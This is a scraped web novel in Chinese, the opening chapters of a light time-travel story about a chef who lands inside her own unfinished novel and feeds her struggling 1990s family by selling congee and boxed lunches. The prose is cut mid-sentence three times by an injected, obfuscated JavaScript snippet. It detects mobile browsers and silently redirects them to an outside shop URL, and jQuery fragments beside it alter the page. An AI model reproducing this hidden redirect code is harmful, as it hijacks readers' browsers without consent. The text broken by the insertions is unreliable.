《别当极品了，来做饭！》 1. 1 在后厨拼死拼活干了五年多，好不容易攒够首付，买下市中心临江的大平层，怎么睡个觉的功夫就穿越了呢？！ 叶从溪在心里疯狂呐喊，不死心的她第三十二次闭上眼。 第三十三次睁开眼，又看见天花板霉菌脱落的墙皮，再看看自己现在瘦瘦嫩嫩的手。 叶从溪叹了口气，终于认命地扶着发晕脑袋坐起来。 好饿啊，饿得胃像有人拿勺子在刮。 她下了床，想在这家破破乱乱的厨房里找点东西吃。 啥都没有。 也没看见手机的踪影。 倒是从柜子里的铁盒中翻出一些纸币跟硬币。 好有历史感。 叶从溪心里咯噔一下，她现在到底在哪一年？ 算了，吃饭要紧，叶从溪摸不清现在钱的购买力，干脆把铁盒子里所有的钱都揣兜里才出门。 这房子在一楼，刚好在巷子最前头的位置，周围到处都是矮矮的平房，远远看见前面有人在摆摊。 叶从溪瞧着那阿婆家的番茄挺水灵的，心想着先买颗番茄做个面应付下吧。 结果还没靠近，那阿婆抬头看见她，像是见了鬼似的，手忙脚乱卷起编织袋。 叶从溪：“？” “阿婆，等等啊，我要个番茄。” “要什么要啊，没有啊，卖完啦！”阿婆连连摆手。 “骗人，我都看见了还有好多呢，您怎么不卖我呢？”叶从溪抓住阿婆的手，力气很大。 这是一个快饿死的人在试图抓住她的番茄面！ 阿婆攥着手里的编织袋，像是想到什么，终于敢把憋了半天的话喊出来：“什么卖卖卖说得比唱得好听，你摸着良心说，哪回拿东西给钱了！” “你爸妈现在都在派出所蹲着呢，这回怕是真要进去了，你可不能再仗着人横就胡作非为……” 当了快三十年的孤儿，爸妈这两个字对叶从溪来说是很陌生的。 她自动过滤掉，赶紧掏出钱：“我真带钱了，我买，我买。” 阿婆剩下的骂话又被堵在口中，她狐疑地接过钱，摸了摸，真的。 “称一下这个。”叶从溪从编织袋里扒拉出两个红红的番茄。 阿婆愣了愣，一边用拿起杆秤，一边盯着叶从溪，就怕她要搞什么小动作。 番茄不到半斤，一毛九。 叶从溪：“再给我把葱。”正好两毛钱不用找了。 阿婆收了钱，皱眉看着叶从溪，嘴巴动了动，终究没说什么，只是叹了口气。 叶从溪提着番茄，从旁边的粮油店抓了两个鸡蛋，又挑了一把挂面，口感肯定没有手工面香，但她现在实在是没精力计较了。 家里用的是蜂窝煤炉，点火那环节折腾了她半天，烟呛得眼泪直掉。 等生完火，叶从溪已经饿得灵魂出窍，完全凭借多年当厨师的经验在机械地煮面。 先将番茄放到热水里烫过一遍，剥皮切丁，锅里热油煎两个边缘焦香的荷包蛋盛出来。 也不用洗锅，拿起铲子就用这锅里剩下的油将番茄丁压成出汁的烂泥，酸香扑鼻，她顺手放酱油跟盐，本来还想放点白糖提鲜的，没看到就算了。 加水，等烧开入味后下面条，煮到差不多了，锅盖一掀，满屋子都是番茄的甜酸香气。 叶从溪最后撒一把葱花，将荷包蛋也加进去，蛋黄半凝不流，筷子一碰就破，稠稠地往面汤里落。 她顾不得烫，将泡过汤汁的荷包蛋往嘴里塞，又快速吃了几口面条。 温热从喉头一直顺到胃里。 叶从溪长呼出一口气，太好了，活过来了。 这会儿脑子也跟开机了一样，嗡地瞬间冒出无数记忆碎片。 等她终于理出点头绪，惊得重重一咳，差点没被面条给噎死。 她，她居然穿到自己的小说里！ 这是叶从溪二十二岁那年写的小说，那时她刚从烹饪学校毕业，拿着低得离谱的工资，就想着按网上说的写点小说当个副业。 但她实在不是这块料，写了几万字就弃坑了。 她笔下的叶大翔是粤省某个小县城出来的，因为家里原因，十多岁就来鹏城这边打工。 林秋娇是蜀地姑娘，也是背井离乡，在鹏城工厂打零工，遇上小混混被叶大翔英雄救美后，一颗怦怦乱跳的小鹿心就被钓走，没多久后，两人在一起了。 两人都不是能吃苦的人，打工也没恒心，赚到钱就躺，没钱就再出去混。 也幸亏现在是九零年代经济经济蓬勃不缺活干。 两口子还爱看去录像厅租港片看，被港城电影带成古惑仔，叶大翔三十多岁的人了，还染个红毛，戴着假金链，穿着喇叭裤，腰上别着个不能通讯的二手BB机，带着一窝小弟喊他大哥。 一年后，两人生了个女儿。 到目前为止的剧情，都是叶从溪写的。 她本意是想要先抑后扬，让小混混叶大翔走潘然悔悟，然后发家致富的热血路线。 但写到这，她就弃坑了。 万万没想到这本烂尾书还能被剧情大神自己续写下去。 故事中的叶大翔后来没能浪子回头，反倒成了极品炮灰，而巷尾那个清贫少年江闻川则一路开挂，成了未来福布斯榜最年轻的大佬。 被夺去光环的叶大翔还坐了几年监狱，因为他的女儿……也就是原主，原主喜欢上了江闻川，并且在爸妈的鼓励下，开始追求他。 但江闻川并不喜欢她。 几次拒绝还被死缠烂打纠缠，江闻川冷着脸，用非常残忍的话点明自己对原主的厌恶。 原主大受打击，绝食两天两夜。 叶大翔心疼女儿，跑去把江闻川揍了一顿。 江闻川也没还手，顶着伤去了派出所报案。 所以叶大翔一大早就被警察带走了。 好不容易有了父母，虽然是两个极品杀马特，但她真不想他们跟故事里一样，一个蹲几年牢才出来，一个在家里天天哭成孟姜女。 叶从溪把最后一口汤面喝干，她一抹嘴，往派出所跑。 派出所传来一阵女人的哭声，那声音哭得真切，鼻音里全是委屈。 叶从溪进门顺着看过去，一眼就愣住了。 “求你了，我求你还不行吗？你就放过翔哥吧……”林秋娇拽着江闻川的衣服，透过她哭得一塌糊涂的劣质眼影跟死亡芭比粉口红都能看出这张鹅蛋脸有多好看。 叶从溪写那本小说时，确实存了一点私心。 她三岁那年被亲生父母丢福利院，心里也一直渴望能有真正爱自己的父母。 所以她写小说时，就把叶大翔跟林秋娇的女儿名字定成了叶从溪。 林秋娇也是她想象中的妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698769|189097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈，漂亮的，温柔的。 看着这张脸，叶从溪一声妈自然而然就脱口而出。 叶从溪跟旁边的江闻川对视一眼，她走过去拉住林秋娇的手：“我醒来听卖菜的张阿婆说爸爸被带走了，现在是什么情况？” 林秋娇一抹眼泪，哭腔带着委屈：“他呀，非要告你爸，说什么都不肯写那个谅解书，就是想让你爸坐牢，怎么那么坏啊哇呜呜……” 叶从溪拍拍她肩膀，抬去看江闻川，鞠了一躬：“我爸打你确实不对，还有我以前一直纠缠你，给你添不少麻烦，我道歉，对不起。” 林秋娇一愣。 叶从溪又道：“你放心，我以后肯定不会再打扰你，至于你的伤，我们家出一百块当医药费，这事就私了了，行吗？” 江闻川冷笑了一下。 叶从溪看着他洗得发白的衬衫，心一横：“三百块！只要你能写谅解书。” 林秋娇不哭了，悄悄扯了扯叶从溪袖子：“小溪，咱家一百块都掏不出，哪来的三百啊……” 叶从溪语气稳稳：“这钱我没法一下子给你，我们可以先签个字条，一个月之内如果凑不齐，你再把我爸送进去也不迟。” 江闻川盯着她片刻，最后终于吐出一个字：“好。” “……”林秋娇现在的心情好复杂，她不知道自己要不要高兴。 当着警察的面签好字条，有了谅解书，叶大翔当晚就被放出来。 一出门，他还在吹：“这衰仔被我揍两下就去叫警察，算什么男人，当年我被人砍两刀都没哼一声，不过话又说回来，还算他识相，没跟我死磕。” 叶大翔还不知道自己是怎么被放出来的，以为是江闻川怕了松口。 叶从溪扶额，这爸得调教调教，不然真没法要。 到家后，叶大翔摸摸肚子，有点饿，他正想着要不要带老婆跟孩子出去吃宵夜。 叶从溪用剩下的食材煮了两碗番茄面端进来。 “不出去吃了，就在家吃面。” 番茄面汤色红亮，一看就让人咽口水，叶大翔第一反应这是外面买的，但碗又是家里的。 他吸溜一大口，眼睛瞪大：“这，这真是你自己煮的？” 这也太香了，面条挂着番茄汤，酸香顺滑，热汤一过喉咙，整个人美得都要化了。 叶大翔是个会享受的，手头一有点闲钱，就喜欢带妻女去那些大老板爱吃的店里光顾。 女儿这碗面，比那些贵得要死的店里做的都要香啊！ 叶从溪点点头：“有句话不是说想要征服一个人的心，就要先征服他的胃嘛。我为了追江闻川，特意借了做饭的书来看。” 叶大翔一听这话，立刻拍桌：“那衰仔真是不识好歹！女儿啊，爸跟你说，这种小白脸到处都有，咱没必要在一棵树上吊死，以后爸给你找更好的，行吧？” 叶从溪点点头：“行啊。” 叶大翔一喜，女儿可算是想开了。 叶大翔开心了，林秋娇倒是一直愁着脸。 她也觉得番茄面香，但内心挣扎了几番，还是忍痛将面条推到叶大翔面前。 “翔哥，你多吃点，听人说进去了都得挨打，你先吃饱养点肉，等一个月再进去才禁得住打……”说着说着，林秋娇又把自己说哭了。 叶大翔手一抖，筷子差点掉地上：“啊？我咋还得进去？” 2. 2 叶大翔听完来龙去脉，立马不乐意了。 “三百块？这死衰仔怎么敢的？！不行，我现在就去把那破字条撕了。” “别去别去！”林秋娇赶紧拉住叶大翔，她觉得那孩子不好惹，小小年纪比她妈还吓人。 幸好小溪现在不喜欢他了。 叶从溪也提醒：“爸，你这去一趟，三百块欠债可能就变成六百块欠债。” 在鹏城，现在普通工人的月薪大概是三百多，不过得在工厂加班从早干到晚。 林秋娇拿张纸在那儿算啊算，忽然高兴地说：“翔哥你看，我们两要是这个月天天去厂里干，也是能凑出来的。” 工厂有那些日结的兼职，大部分是五块钱一天，也不轻松，得站在那装一整天零件，一天下来腰都直不起来。 林秋娇光想想就已经累了。 可翔哥不能坐牢啊。 等咬咬牙撑过这个月，然后她就要躺一整月！ 叶从溪泼她冷水：“妈，你这只是还江闻川的钱，那我们吃什么，半个月后交房租怎么办？我开学的学费谁出？” 林秋娇被这一连三问打得泄气。 她又惊诧道：“小溪，你乐意去上学了？” 原主就不乐意学习，天天闹着要退学，后来江闻川转学过来，她被男色所迷，暂时放弃退学这个计划，前两天绝食又闹着说不去学校。 叶从溪搬出万能理由：“对，我要上学，江闻川是班上第一名，我也要好好学习，压过他当第一。”她总不能高中学历都没有吧。 林秋娇唉一声，抹抹眼泪。 原来电影里演的都是真的，失恋真的会让人性情大变。 要不是她这个当妈的绝对不会认错自己的孩子，她都要怀疑女儿是不是被掉包了。 “没错，咱们不止要考班第一，还要考学校第一。”叶大翔热血沸腾，他手指掰得咔咔响，“学费你不用操心，爸去收点保护费不就行了？我看其他帮派都这么干。” 叶从溪：“……”杀马特就杀马特，还帮派上了。 “不能收保护费，”叶从溪表情变得很严肃，“爸，你想啊，现在整条街的人都知道你被江闻川送进派出所了，万一你再干这些事，他们也学着江闻川报警，一个人赔三百，两个人赔钱六百，三个人赔九百……要拿不出来，得坐多久的牢你自己算算。” 叶大翔打了个哆嗦，仿佛看见自己牢底坐穿蹲在角落长蘑菇的画面。 他连忙喝了口番茄面汤压压惊。 “那……那怎么办？” 叶从溪见火候到了，立刻把主意亮出来：“爸，你觉得我这手艺怎么样？要是拿出去卖，有人买吗？” 林秋娇最后还是没顶住番茄面的香味。 她拿着筷子哗啦啦嗦了半碗，香得眼睛都眯起来，一听这话差点被呛到：“小溪，你要出去卖面条？” 叶从溪摇摇头：“我们现在租不起门面，只能在家做好拿出去卖，面条容易坨，我打算煮粥，就煮鸡丝粥。” 鹏城属于粤省，这边的人早上有喝粥的习惯。 皮蛋瘦肉粥附近有人在卖；艇仔粥跟砂锅粥用料都比较讲究，现在他们家最多二十块钱存款，这成本不好压；生滚粥的精华就是那一个滚字，不是热火现出的不正宗；鸡皇粥跟猪肝粥都不适合摆摊，里头的鸡蛋跟猪肝闷久了口感不行。 想来想去，只有鸡丝粥合适。 底味可以用鸡骨熬出来，叶从溪还没逛过九零年代的菜市场，不过按理说，鸡骨应该不贵。 “这能行吗？”他们从来没卖过东西，叶大翔心里直打鼓，但看着女儿认真的脸，“……好吧，那就试试卖粥吧，你说要爸做什么。” 家里也是因为他打人才欠债，他不能再拖后腿，不然真被一小毛头送牢里了他大翔哥的面子往哪搁？ 叶从溪满意他的觉悟：“先去菜市场看看，能买到鸡骨最好，今晚炖上，汤底浓点熬出来的粥才香。” “行。”叶大翔推着自行车，后座绑着软软的坐垫，叶从溪坐着也不硌屁股。 “我们去大市场，那边便宜些。” 张阿婆那片是小市场，也就离得近图方便的人才去买。 要是有时间，大家都更乐意去一公里外大市场。 菜市场的灯已经暗了大半，只有剩下几个档口还在收摊。 叶从溪来到卖鸡鸭的那一排：“老板，鸡骨怎么卖？” 档主看她一个小姑娘，下意识就说：“一块八一斤。” 叶从溪心里换算一下，有诈。 “你都在收摊了，这里差不多两斤吧，算我两块得了。” 档主正想说不行，抬眼看清叶从溪后面跟着的混社会黄毛爹：“……行吧。” 叶从溪又把旁边两个鸡腿收了，回到家，她把鸡骨往盆里一放。 “爸，鸡骨洗完砍成块就行，会砍不？” 叶大翔翻出鸡架在水龙头下边哗啦啦冲洗：“砍东西还不简单，想当年我拿一把西瓜刀，在道上——” 叶从溪无视他的吹水，进屋去找大米。 “……”叶大翔继续默默地洗鸡架。 叶从溪在柜子里翻到一袋米。 他们家几乎不做饭，油盐酱醋还是原主想要尝试什么爱情便当追人攻略才买回来的。 当然，最后也没有攻略成。 “妈，我想洗澡。”叶从溪将大米放盆里泡着，起身擦擦手。 “我让你爸去烧热水。” 家里没热水器，之前那个“热得快”把水桶都炸融了，后来全靠蜂窝煤烧。 林秋娇指挥叶大翔将热水往浴室搬，她拿起大红色的水瓢舀了半桶热水混进冷水里。 现在天气热，用不着很热的水，只要别太凉就行，母女两一人半桶。 至于叶大翔，他没关系，他皮糙肉厚，冲凉水也不怕。 林秋娇拿个盆盖在桶口，怕热气跑太快。 一转身，被墙上小圆镜里的自己吓一跳：“哎呀，我现在跟鬼一样，好难看。” 叶从溪凑过去：“不难看，我妈妈最漂亮。” 林秋娇嘿嘿搂住女儿：“我女儿也漂亮，随我，对了，刚才你跟你爸去菜市场，我在家里翻来翻去，翻到了两块钱，我给你放铁盒里了。” 叶从溪郑重宣布过，在还完债之前，家里的钱都由她来保管。 叶从溪洗完澡，又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698770|189097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让她爸把切好的姜片、鸡骨还有鸡腿放一块，加水上炉，盖上锅盖。 蜂窝煤不用大火，就留一点热度就行。 交代完，叶从溪一头倒在床上。 这个身体虚得很，得好好练练才行，不然以后连两个小炒都端不动。 她这么想着，迷迷糊糊睡过去。 第二天醒来，叶从溪看着那脱落墙皮的天花板，愣了半响，才想起自己在哪儿，赶紧起了身要去看鸡骨汤。 这屋子是一房一厅加个小院子，房间是叶从溪在睡，叶大翔跟林秋娇就在客厅拉个帘子睡。 厨房就在院子，叶从溪掀盖一看，炖了一宿的鸡架汤金黄浓醇，上面浮着一圈圈油花。 叶从溪舀起一口汤尝个味，还行。 这汤单喝可能有点腻，用来熬粥则刚刚好。 其实她对这个米不太满意，米香不够。 等赚到钱了，一定要换好点的米。 叶从溪把底下的鸡腿捞出来放凉，再把泡了一夜的大米倒进去，锅里咕嘟咕嘟冒泡，米粥很快就熬开了花。 叶从溪抽掉一块蜂窝煤，把火力压下去，慢慢将米粥煨入味。 趁着这个时间把鸡腿撕成丝撒回锅里，再来一把葱花搅匀，搞定。 客厅那头，睡得四仰八叉的两口子迷迷糊糊起了身，眼睛都还没完全睁开呢，鼻子已经情不自禁朝着香味的方向深吸耸动。 “起床喝粥啦，爸，吃完你还得去买饭盒。” 叶从溪端着一碗鸡丝粥进来，这是她自己的，她爸妈的还在外头。 两口子愣了下，赶紧爬起来。 鸡丝粥味道特别香，那香气说它浓，它闻着又不腻，说它淡，那股鲜香又实在浓郁。 米粥一入口，浓粥绵香，鸡丝嫩滑，那鲜味在舌头上打转，叶大翔跟林秋娇都瞬间睁大了眼睛。 “女儿，你也太厉害了，我以前听人说去饭店当学徒贴钱都不一定能学到真本事，你按照书上教的居然就能煮出那么好喝的粥。”林秋娇都不叫喝粥了，那叫扒粥，也不嫌烫。 叶大翔那碗已经见底，他起身又去添一碗，林秋娇紧随其后。 等他们要添第三碗时，叶从溪赶紧喊住：“还要留着卖呢。”别给她吃完了啊。 两人有点失落，意犹未尽地舔舔唇。 叶从溪下达任务：“爸，你去买饭盒，那种圆的，大概这么大的就行，起码买三十个吧，妈，你去洗碗，等我们把债还完，自己想吃多少就吃多少。” 这一针鸡血打得两人立马提起精神。 平时最不乐意干活的林秋娇都哼着歌刷碗，鸡丝粥可真好喝，等把债还完了，她要天天喝。 叶大翔买好饭盒回来，将粥一碗碗装进去，等最后一个盖好：“还真刚好三十碗。” 那当然，她那量都是把控过：“爸，你拿去工厂门口卖，一碗一块钱。” “一块？行！”叶大翔拍拍胸口，“那我走啦。” 林秋娇给他打气：“翔哥！加油！”她就不去了，摆摊没凳子坐，好累的。 叶大翔把粥装进泡沫箱，绑上绳子，推着拉车出了门。 一出门，就撞见了张阿婆。 3. 3 涌头镇之所以叫涌头镇，就是因为挨着那条河涌 张阿婆的家就在河涌边，屋旁几棵芭蕉树，风一吹，大片的叶子哗啦啦响。 张阿婆跟老伴两人一个月都有近两百的退休金，再加上女儿在香港过年过节都会寄钱回来，不存在钱不够用的情况。 但她闲不住，芭蕉树前面那片空地也是她家的，就拉着老伴开了小块田。 平时种种菜养养鸡，吃不完的就送人或拿去卖点钱。 今天家里的母鸡又下了两颗蛋，张阿婆正盘算着中午来个紫菜鸡蛋滚汤，忽然想起了叶从溪。 张阿婆是惯看不上她爸妈的，就没见过那么懒的人，有手有脚不趁年轻好好干多赚钱，尤其是那个叶大翔，染成黄毛鸡成天带着一群不三不四的人在街上闲晃。 好好一个女儿都被他带坏了，前段时间天天跟他小弟到她摊位上赊菜。 说是下次给钱，到现在也没见影子。 他老婆也是个不靠谱的。 这进去了，家里没个顶事的，小姑娘也挺可怜。 张阿婆叹了口气，还是拿着鸡蛋出了门。 张阿婆才到叶家门口，张阿婆看见从里头出来的叶大翔，张阿婆把鸡蛋往兜里一揣，张阿婆转身就走。 “阿婆，阿婆！”叶大翔一嗓子喊过去，笑得谄媚，“走那么急干嘛，今天穿得很靓喔，看着年轻了二十岁呢。” “你从派出所出来啦？”张阿婆被他追得紧，没办法，只好停下脚。 “昨晚就出来了，你吃早餐没？要不要在我这买碗粥啊？很好喝的，一块钱那么大一份，真材实料的鸡丝粥。” 张阿婆嫌弃摆摆手：“不买不买。” 叶大翔从泡沫箱里拿出一碗粥：“不买就不买，来，我请你，拿着拿着，你不拿就是不给我面子。” 张阿婆被硬塞了一碗粥，温温热热的。 她本来想赶紧还回去，一抬手，鸡丝粥的香味顺着盖子的小孔钻出来。 张阿婆愣了愣……哟，这味道还挺香。 叶大翔嬉皮笑脸：“阿婆，我都请你喝粥了，你借我一块钱咯。” 张阿婆白他一眼，嘴上嫌弃，最后还是从兜里掏出一块钱塞给他：“给你给你。”算了，这粥闻着还挺不错，不亏。 “慢走喔。”叶大翔美滋滋将钱往自己兜里一揣，开张了！ 张阿婆回到家，先把鸡蛋放回柜子里，顺手拿了个勺子。 掀开盖子，热气一冒，香味更浓了，粥底也挺浓稠，白里透金，能看见里头细嫩的鸡丝。 “这分量还挺良心的。”张阿婆嘀咕一声，舀起一口送进嘴里。 米粥的香味和那股香浓的鸡鲜味融合在一起，咸淡也正正好，这一口下去，喝得人都舒服了。 “没想到这叶大翔还真有点本事啊，是他煮的吗？”张阿婆惊了。 这些年她喝过的粥不少，这一碗也能排上个前三了。 张阿婆越喝越上瘾，不吃不觉喝完大半碗。 这时外头忽然传来鸡扑腾的声音，还有东西噼里啪啦倒地的动静。 “这几只臭鸡天天闹腾。”张阿婆依依不舍地放下勺子出去看。 果不其然，家里几只鸡在院子瞎飞，扫把跟垃圾铲都倒地上了。 她手脚利落地收拾好，心里还惦记着着那剩下的几口粥，赶紧往屋里走。 “唉哟你干嘛喝我粥？”张阿婆瞪眼看着刚起床的刘大爷手里拿着空掉的碗，嘴里还在吧砸着，她心疼得直跺脚。 早知道她就先喝完了。 “小气，喝一口怎么了？你还别说，这鸡丝粥挺好喝啊。”刘大爷抿抿唇，意犹未尽。 这几口粥肯定不够填肚子，反倒是把他嘴瘾勾起来了，越想越馋。 他看那碗是塑料碗，就知道是张阿婆在外面买的，他拿着钱出门：“我也去买碗试试。” 家门口几家早餐摊，卖粥的就一家。 刘大爷平日都是在家里吃早餐，还从来没在外面买过。 他走前去：“给我来碗鸡丝粥。” 摊主抬头一顿：“大爷，没鸡丝粥，只有皮蛋瘦肉粥。” 刘大爷以为鸡丝粥卖完了，想着都是同一个人做的，味道应该差不到哪去：“行，给我来碗皮蛋的。” “好嘞，八毛钱。” 刘大爷端着皮蛋瘦肉粥回家，喝了两口就皱皱眉。 “这老板水平不行啊，鸡丝粥跟皮蛋瘦肉粥味道差那么大。”量还行，但肉不多，皮蛋一块块的，嚼着还有点硬，像塑料。 顶饱是可以，就是没滋味。 “你去哪买的？”张阿婆探出头。 “就亭子那边。”河涌旁边有个亭子，还有健身器材，很多人在那下棋闲聊，人一多，摆摊的也都来了。 “不是他们的，是叶大翔家，早上我看他拉了一箱粥去卖。” “他还会煮粥？”刘大爷有些惊讶。 他本着不浪费的美德还是把皮蛋粥喝完，最后饱是饱了，但还是馋了，他又出门想去找叶大翔。 结果绕了一圈都没找到人。 周围有玩具厂，电子厂跟五金厂。 其中电子厂人流量最大，叶大翔这会儿就正拉着泡沫箱蹲在电子厂门口呢。 他本来想电子厂进进出出那么多人，他这三十碗粥应该很快能卖完。 结果蹲了大半天，一个来问的都没有。 原因有二。 一是因为厂门口还有几家长期摆摊卖早餐的，顾客都买习惯了，鲜少会关注其他摊子。 二则是因为叶大翔太出名了。 臭名昭著的那个名。 正常人看见一个黄毛街溜子都是恨不得绕三米远走。 叶大翔站起来活动活动蹲麻的腿，他一伸手，指着前面一个正准备进厂的小伙子：“你，过来。” 被指的那个小伙子吓得脸色一白，下意识左右看看。 叶大翔：“不用看了，说的就是你，过来。” 小伙子哆嗦嘴唇，硬着头皮认命走过去。 “吃早餐没有？” 小伙子摇摇头：“……没。” “来，给我一块钱。” 小伙子一懵，这是碰上打劫了？ 吴林今年十九岁，刚来鹏城打工不久，他之前听老乡说这一带有不少混混，很多专门讹人的，所以他平日一下工就回宿舍，怎么还是碰上了？真倒霉！ 他也不敢不给，怕被打，只能从兜里掏出一块钱递过去，还没反应过来，手里啪地被塞了一碗粥。 “卖给你鸡丝粥，好吃的，包你吃了还想吃，行了，快走吧快走吧，别挡住我做生意。” 吴林：“……” 不知道为什么，有种一只蜗牛以每小时五千公里的速度冲到他脸上揍了他一拳的荒谬感。 不过一碗粥居然要一块钱，厂里食堂才几毛钱啊！ 吴林心里疯狂吐槽，但不敢说出来。 他窝囊地走进厂里。 吴林在食堂角落找个位置坐下来，他越想越气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698771|189097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>刚好他老乡也买了早餐在旁边坐下：“一大早的咋啦？” 吴林就跟他说了早上发生的事。 老乡差点喷了：“现在这些混混都学文明了，居然不直接抢钱，还给你碗粥。” 吴林一脸气愤：“一块钱一碗，这跟抢有什么区别？这些黄毛，一个个没个好东西，警察就应该把他们都抓起来，省得危害社会。” 他愤愤地打开盖子，香气一下就飘了出来，粥面泛着一层淡淡的鸡油光，均匀鲜嫩的鸡丝夹杂在其中，这卖相让他莫名消了一半的气。 鸡丝粥被放在泡沫箱里，此时还带着温热。 吴林舀起一口，软糯香滑的粥顺着喉咙滑落，肚子里剩下的那一半的气也被这鸡丝粥给安抚平了。 又喝了两勺，吴林心都软了：“哥，我突然觉得，染黄毛的也不一定都是坏人。” 老乡：“……你刚刚还说要找警察。” 吴林一脸真诚：“你没尝过这粥，你不懂。” 此时，叶大翔的形象在吴林心中已经来了个一百八十度大转变了。 坏人能给你那么好喝的粥？ 他刚刚还吐槽一碗粥一块钱太贵，现在却觉得太划算，太值得了！ 米粥稠得刚刚好，鸡丝分量足，最重要的是味道好。 他从来没喝过那么鲜美的粥，带着股很温润的鸡油香，但喝着一点都不腻，一碗粥喝完还不舍得放下勺子，还得把勺底舔一遍才作罢。 这粥就算卖一碗十块、卖一百块……哦一百块不行，他工资只有三百多，买不起。 但如果定价十块，吴林严重怀疑，他真的会忍不住天天去买的！ - 这边，叶大翔继续在逮人强买强卖。 另一边，叶从溪在屋里翻翻找找，把原主的书本都翻出来。 除了高一的，初中的书也都在，上面什么痕迹都没有，跟新的一样。 叶从溪以前也不爱学习，后来还是孤儿院的院长妈妈用吃的诱惑她，学着学着，学进去了，就开始感兴趣了。 后来叶从溪的成绩一直都挺不错，但工作那么多年也忘得七七八八。 现在距离高二开学还有一个月时间，她得抽空把知识点都重新复习一遍。 林秋娇睡了一觉醒来，正准备问问女儿要不要去逛街。 一开门看见叶从溪在看书。 她啪地又关上门，揉揉眼睛重新打开。 画面没变化，林秋娇嘶一声，失恋真的好吓人啊。 林秋娇悄咪咪又把门合上，不影响女儿学习。 一转身，看见叶大翔从外面回来。 “翔哥，粥卖得怎么样？！” “全卖完了，看，三十块。”叶大翔把钱掏出来。 林秋娇两眼发亮地接过钱：“哇，真的是三十块啊，一天就赚三十块，那一个月就是，就是……” “九百块。”叶从溪从房间走出来，“但抛去成本，还有房租生活费加上还给江闻川的钱，也剩不了多少，所以根本不够。” 林秋娇紧张得打了个嗝，女儿好严肃啊。 “爸，趁现在还早，咱们再去菜市场买点菜，还能赶上卖午餐。” “妈，我刚把房间翻乱了，你帮我收拾下。” 在赚到大平层之前，这个家不准有一个人偷懒！ 两口子都愣了下，然后又都不由自主地按照女儿安排的开干。 来到菜市场，叶大翔把自行车停好上锁。 “小溪，我们中午要卖什么？” 4. 4 “我准备卖红烧肉跟酸炒土豆丝，一荤一素拼在一起当盒饭。” 早上那锅鸡丝粥卖了三十块，算上买食材花的十二块，再加上几块蜂窝煤，就算往最高的算，减掉这些成本，那也有一半的净利。 叶从溪就确定了，干餐饮这条路可行。 他们周边工厂多，中午卖盒饭再合适不过。 “红烧肉好啊，我爱吃红烧肉。”叶大翔高兴道。 “这里是下五花，就是肋条那块地方，肥瘦均匀，炖出来软糯又不腻，最适合用来做红烧肉……” 叶从溪挑着肉，习惯性脱口而出一串话。 毕竟她以前在饭店当主厨，出去选食材时总会顺便告诉身后团队的人该怎么挑选。 等她说了一大半，这才想起来现在身份不对。 为了不让人怀疑，又赶紧补上一句：“书上就是这样说的。” “这书讲得可真详细啊。”叶大翔倒是没怀疑，他光盯着五花肉看了。 他没看过书，但他吃过红烧肉啊。 像他这种不怎么懂做菜的人都能看出来女儿挑的这几条五花肉有多漂亮，这做成红烧肉得多好吃啊。 叶从溪买了七斤多的肉，又买了十几斤土豆。 五花肉花了十三块，土豆花了三块多。 她又买了些八角桂皮冰糖等调料，挑了几袋米，有适合用来熬粥的，有适合用来煮饭的。 早上赚的三十块就这么花出去大半。 叶大翔心口抽了一下，肉疼得不行。 女儿花钱这架势，比他俩加起来还潇洒。 “舍不着孩子套不着狼嘛，这些都是本钱，放心吧爸，中午我们准能赚回来。”叶从溪安慰他。 回到家，叶从溪推开门：“妈，我回来啦，你帮我收拾好没有？” 无人回应。 叶大翔将自行车抬进来：“你妈肯定又睡着了。” 叶从溪打开房间门，果然看见屋里只收拾了一半，她妈手里还抱着几本书，嘴微张着躺在床上睡得正香 房子朝北，晒不着太阳，用风扇吹都凉爽得很。 叶大翔的汗顺着脖子流，看见林秋娇睡得那么舒服，心里那叫一个羡慕。 要放以前，他肯定也躺下一起睡。 可现在不行啊，中午得卖盒饭把钱赚回来。 叶大翔转头要去洗五花肉，走两步，又折回来，突然喊了声：“小溪，你又煮鸡丝粥啦？” “鸡丝粥？哪有鸡丝粥？！给我留一碗！”林秋娇嗷地从床上坐起来，嘴角还带着没擦干净的口水。 一抬头，就撞见父女俩站门口看她，她讪讪地笑了笑：“你，你们那么快回来啦。” 叶大翔哼哼两声，这才心满意足地去洗肉。 一家人全都得干活，哪能有人偷懒呢。 “妈，我跟爸在菜市场挤出一身汗，你居然在家睡觉！”叶从溪强烈谴责。 “也，也不知道为啥，我一坐这床就困，两眼一闭就躺过去了，你说会不会是这床有什么脏东西吧？”林秋娇扣扣手指，挤出一脸无辜。 叶从溪：“……中午要做红烧肉，不干活的就没得吃哦。” 什么？红烧肉？ 